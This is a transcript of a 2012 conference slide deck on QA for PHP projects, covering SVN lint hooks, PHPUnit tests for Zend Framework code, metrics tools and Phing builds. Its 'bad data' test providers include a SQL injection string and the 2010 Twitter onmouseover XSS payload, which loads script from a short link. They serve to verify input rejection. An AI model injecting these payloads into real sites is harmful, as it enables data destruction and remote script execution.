Improving QA on PHP projects - ZendCon 2012

Improving QA on PHP projects - ZendCon 2012

Everyone talks about raising the bar on quality of code, but it's hard to implement when you have no clue where to start. This talk is geared toward all levels of developers, and will teach you how to improve by using the right tools effectively - a must-attend for any developer who wants to scale up their quality.

8fc45f4725efe8e8bc8d6c1f92224b65?s=128

Michelangelo

October 22, 2012
Tweet

Transcript

  1. Quality Assurance for PHP projects ZendCon 2012, Santa Clara CA

  2. Michelangelo van Dam

  3. Schedule Workshop Introduction to Quality Assurance Revision control Documenting Testing

    Measuring Automating Team works!
  4. #zendcon12 #wsqa

  5. Introduction to QA

  6. Why QA?

  7. Why QA Safeguarding code

  8. Detect bugs early

  9. Observe behavior

  10. Prevent accidents from happening

  11. Tracking progress

  12. Why invest in QA?

  13. Keeps your code in shape

  14. Measures speed and performance

  15. Boosts team spirit

  16. Saves time

  17. Reports continuously

  18. Delivers ready to deploy packages

  19. Quality Assurance Tools

  20. Revision Control

  21. SCM Tools • Subversion • Git • Mercurial • Bazaar

    • Source Vault
  22. FTP

  23. Advantages of SCM • team development possible • tracking multi-versions

    of source code • moving back and forth in history • tagging of milestones • backup of source code • accessible from - command line - native apps - IDE’s - analytical tools TIP:  hooks  for  tools
  24. Syntax Checking

  25. php  -­‐l  (lint) h4p://www.php.net/manual/en/features.commandline.op>ons.php

  26. PHP Lint • checks the syntax of code • build

    in PHP core • is used per file - pre-commit hook for version control system - batch processing of files • can provide reports - but if something fails -> the build fails TIP:  pre-­‐commit  hook
  27. Syntax php -lf /path/to/filename.php

  28. PHP  Lint  on  Command  Line

  29. SVN Pre commit hook #!/bin/sh # # Pre-commit hook to

    validate syntax of incoming PHP files, if no failures it # accepts the commit, otherwise it fails and blocks the commit REPOS="$1" TXN="$2" # modify these system executables to match your system PHP=/usr/bin/php AWK=/usr/bin/awk GREP=/bin/grep SVNLOOK=/usr/bin/svnlook # PHP Syntax checking with PHP Lint # originally from Joe Stump at Digg # https://gist.github.com/53225 # for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'` do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fi done
  30. SVN  pre-­‐commit  hook

  31. Documenting

  32. Why documenting? • new members in the team • working

    with remote workers • analyzing improvements • think before doing • used by IDE’s and editors for code hinting ;-)
  33. PHPDoc2 phpDocumentor + DocBlox March 16, 2012

  34. Phpdoc2

  35. Phpdoc2  class  details

  36. Based  on  docblocks  in  code

  37. And  the  output

  38. Phpdoc2  class  rela>on  chart

  39. Phpdoc2  on  your  project

  40. Testing

  41. developer testing 201: when to mock and when to integrate

  42. Any reasons not to test?

  43. Most common excuses • no time • not within budget

    • development team does not know how • tests are provided after delivery • …
  44. NO EXCUSES!

  45. Maintainability • during development - test will fail indicating bugs

    • after sales support - testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it! • long term projects - refactoring made easy
  46. Remember “Once a test is made, it will always be

    tested!”
  47. None
  48. Confidence • for the developer - code works • for

    the manager - project succeeds • for sales / general management / share holders - making profit • for the customer - paying for what they want
  49. None
  50. Unit testing ZF apps

  51. Setting things up

  52. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite>

    <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> </phpunit>
  53. TestHelper.php <?php // set our app paths and environments define('BASE_PATH',

    realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path() ); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); // We wanna catch all errors en strict warnings error_reporting(E_ALL|E_STRICT); require_once 'Zend/Application.php'; $application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini' ); $application->bootstrap();
  54. Zend_Tool since 1.11.4 • provides • phpunit.xml • bootstrap.php •

    IndexControllerTest.php Ralph Schindler
  55. Let’s get started…

  56. Testing Zend_Form

  57. CommentForm Name: E-mail Address: Website: Comment: Post

  58. Start with the test <?php class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase {

    protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; } }
  59. The good stuff public function goodData() { return array (

    array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testFormAcceptsValidData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data)); }
  60. Protection! Protection

  61. Little Bobby Tables http://xkcd.com/327/

  62. Twitter Hack http://xkcd.com/327/ http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html

  63. The bad stuff public function badData() { return array (

    array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@\"style=\"font-size:999999999999px;\"onmouseover= \"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testFormRejectsBadData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data)); }
  64. Create the form class <?php class Application_Form_CommentForm extends Zend_Form {

    public function init() { /* Form Elements & Other Definitions Here ... */ } }
  65. Let’s run the test

  66. Let’s put in our elements <?php class Application_Form_CommentForm extends Zend_Form

    { public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); } }
  67. Less errors?

  68. Filter - Validate $this->addElement('text', 'name', array ( 'Label' => 'Name',

    'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))), ));
  69. Green, warm & fuzzy

  70. You’re a winner! ☑ quality code ☑ tested ☑ secure

    ☑ reusable
  71. Testing models

  72. Testing business logic • models contain logic - tied to

    your business - tied to your storage - tied to your resources • no “one size fits all” solution
  73. Type: data containers • contains structured data - populated through

    setters and getters • perform logic tied to it’s purpose - transforming data - filtering data - validating data • can convert into other data types - arrays - strings (JSON, serialized, xml, …) • are providers to other models
  74. Comment Class

  75. Writing model test <?php class Application_Model_CommentTest extends PHPUnit_Framework_TestCase { protected

    $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); } }
  76. This test won’t run!

  77. Create a simple model <?php class Application_Model_Comment { protected $_id

    = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); } }
  78. We pass the test…

  79. Really ???

  80. Not all data from form! • model can be populated

    from - users through the form - data stored in the database - a webservice (hosted by us or others) • simply test it - by using same test scenario’s from our form
  81. None
  82. The good stuff public function goodData() { return array (

    array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testModelAcceptsValidData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data); }
  83. The bad stuff public function badData() { return array (

    array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@\"style=\"font-size:999999999999px; \"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testModelRejectsBadData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
  84. Let’s run it

  85. Modify our model protected $_filters; protected $_validators; public function __construct($params

    = null) { $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); } }
  86. Modify setters: Id & name public function setId($id) { $input

    = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this; } public function setFullName($fullName) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this; }
  87. Email & website public function setEmailAddress($emailAddress) { $input = new

    Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this; } public function setWebsite($website) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this; }
  88. and comment public function setComment($comment) { $input = new Zend_Filter_Input($this->_filters,

    $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this; }
  89. Now we’re good!

  90. Testing Databases

  91. Integration Testing • database specific functionality - triggers - constraints

    - stored procedures - sharding/scalability • data input/output - correct encoding of data - transactions execution and rollback
  92. Points of concern • beware of automated data types -

    auto increment sequence ID’s - default values like CURRENT_TIMESTAMP • beware of time related issues - timestamp vs. datetime - UTC vs. local time
  93. The domain Model • Model object • Mapper object •

    Table gateway object Read more about it ‛
  94. Change our test class class Application_Model_CommentTest extends PHPUnit_Framework_TestCase becomes class

    Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  95. Setting DB Testing up protected $_connectionMock; public function getConnection() {

    if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; } } public function getDataSet() { return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); }
  96. initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com"

    website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  97. Testing SELECT public function testDatabaseCanBeRead() { $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(

    $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  98. selectDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com"

    website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  99. Testing UPDATE public function testDatabaseCanBeUpdated() { $comment = new Application_Model_Comment();

    $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  100. updateDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com"

    website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  101. Testing DELETE public function testDatabaseCanDeleteAComment() { $comment = new Application_Model_Comment();

    $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  102. deleteDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org"

    website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  103. Testing INSERT public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment();

    $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  104. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com"

    website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  105. Run Test

  106. What went wrong here?

  107. AUTO_INCREMENT

  108. Testing INSERT w/ filter public function testDatabaseCanAddAComment() { $comment =

    new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs); }
  109. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com"

    comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  110. Run Test

  111. Testing web services

  112. Web services remarks • you need to comply with an

    API - that will be your reference • you cannot always make a test-call - paid services per call - test environment is “offline” - network related issues
  113. Example: joind.in

  114. http://joind.in/api

  115. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected

    $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  116. JoindinTest public function testJoindinCanGetUserDetails() { $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo

    van Dam</full_name><ID>19</ ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  117. Testing the service

  118. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are

    equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  119. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are

    equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s !
  120. Solution… right here!

  121. Your expectations

  122. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected

    $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  123. JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOS HTTP/1.1 200

    OK Content-type: text/xml <?xml version="1.0"?> <response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</ last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  124. JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new

    DateTimeZone('UTC')); $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string> </response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  125. Good implementation?

  126. Controller Testing

  127. Our form flow

  128. Setting up ControllerTest <?php class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { public

    function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); } }
  129. Testing if form is on page public function testIndexAction() {

    $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1); }
  130. Test processing public function testProcessAction() { $testData = array (

    'name' => 'testUser', 'mail' => 'test@example.com', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']); }
  131. REMARK • data providers can be used - to test

    valid data - to test invalid data • but we know it’s taken care of our model - just checking for error messages in form
  132. Test if we hit home public function testSuccessAction() { $params

    = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }
  133. Running the tests

  134. Testing it all

  135. Testing it all

  136. Our progress report

  137. Conclusion

  138. • unit testing is simple • combine integration tests with

    unit tests • test what counts • mock out what’s remote
  139. Fork this code http://github.com/DragonBe/zftest

  140. Measuring

  141. Code Analysis

  142. Questions • how stable is my code? • how flexible

    is my code? • how complex is my code? • how easy can I refactor my code?
  143. Answers • PHPDepend - Dependency calculations • PHPMD - Mess

    detections and code “smells” • PHPCPD - Copy/paste detection • PHPCS - PHP_CodeSniffer
  144. PHP Depend

  145. What? • generates metrics • measure health • identify parts

    to improve (refactor)
  146. pdepend pyramid

  147. • CYCLO: Cyclomatic Complexity • LOC: Lines of Code •

    NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls
  148. Cyclomatic Complexity • metric calculation • execution paths • independent

    control structures - if, else, for, foreach, switch case, while, do, … • within a single method or function • more info - http://en.wikipedia.org/wiki/ Cyclomatic_complexity
  149. Average Hierarchy Height The average of the maximum length from

    a root class to its deepest subclass
  150. pdepend pyramid Inheritance few classes derived from other classes lots

    of classes inherit from other classes
  151. pdepend pyramid Size and complexity

  152. pdepend pyramid Coupling

  153. pdepend pyramid High value

  154. pdepend-graph graph  about  stability:  a  mix  between  abstract  and  concrete

     classes
  155. None
  156. None
  157. PHP  Depend

  158. PHP Mess Detection

  159. What? • detects code smells - possible bugs - sub-optimal

    code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties
  160. PHPMD  in  ac>on

  161. PHP Copy/Paste Detection

  162. What? • detects similar code snippets - plain copy/paste work

    - similar code routines • indicates problems - maintenance hell - downward spiral of disasters • stimulates improvements - refactoring of code - moving similar code snippets in common routines
  163. PHP CodeSniffer

  164. Required evil • validates coding standards - consistency - readability

    • set as a policy for development • reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code • can be set as pre-commit hook - but can cause frustration!!!
  165. Performance Analysis

  166. https://twitter.com/#!/andriesss/status/189712045766225920

  167. None
  168. Automating

  169. Key reason “computers are great at doing repetitive tasks very

    well”
  170. Repetition • syntax checking • documenting • testing • measuring

  171. None
  172. Why Phing? • php based (it’s already on our system)

    • open-source • supported by many tools • very simple syntax • great documentation
  173. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build"

    default="phplint"> <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>
  174. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global

    and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <project name="Application build" default="phplint">
  175. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global

    and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />
  176. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global

    and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>
  177. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global

